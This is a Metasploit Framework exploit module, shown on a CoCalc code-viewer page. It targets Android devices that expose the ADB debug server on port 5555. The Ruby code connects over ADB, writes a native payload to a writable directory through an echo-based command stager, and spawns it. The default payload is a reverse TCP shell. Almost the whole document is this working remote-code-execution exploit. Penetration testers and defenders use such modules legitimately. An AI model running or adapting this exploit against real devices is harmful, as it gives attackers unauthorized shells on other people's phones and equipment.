CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/android/adb/adb_server_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Android ADB Debug Server Remote Payload Execution',
15
'Description' => %q{
16
Writes and spawns a native payload on an android device that is listening
17
for adb debug messages.
18
},
19
'Author' => ['joev'],
20
'License' => MSF_LICENSE,
21
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
22
'Platform' => 'linux',
23
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
24
'Targets' => [
25
['armle', {'Arch' => ARCH_ARMLE}],
26
['x86', {'Arch' => ARCH_X86}],
27
['x64', {'Arch' => ARCH_X64}],
28
['mipsle', {'Arch' => ARCH_MIPSLE}]
29
],
30
'DefaultTarget' => 0,
31
'DisclosureDate' => '2016-01-01'
32
))
33
34
register_options([
35
Opt::RPORT(5555),
36
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
37
])
38
end
39
40
def check
41
setup_adb_connection do
42
device_info = @adb_client.connect.data
43
print_good "Detected device:\n#{device_info}"
44
return Exploit::CheckCode::Vulnerable
45
end
46
47
Exploit::CheckCode::Unknown
48
end
49
50
def execute_command(cmd, opts)
51
response = @adb_client.exec_cmd(cmd)
52
print_good "Command executed, response:\n #{response}"
53
end
54
55
def exploit
56
setup_adb_connection do
57
device_data = @adb_client.connect
58
print_good "Connected to device:\n#{device_data.data}"
59
execute_cmdstager({
60
flavor: :echo,
61
enc_format: :octal,
62
prefix: '\\\\0',
63
temp: datastore['WritableDir'],
64
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
65
background: true,
66
nodelete: true
67
})
68
end
69
end
70
71
def setup_adb_connection(&blk)
72
begin
73
print_status "Connecting to device..."
74
connect
75
@adb_client = Rex::Proto::ADB::Client.new(sock)
76
blk.call
77
ensure
78
disconnect
79
end
80
end
81
end
82
83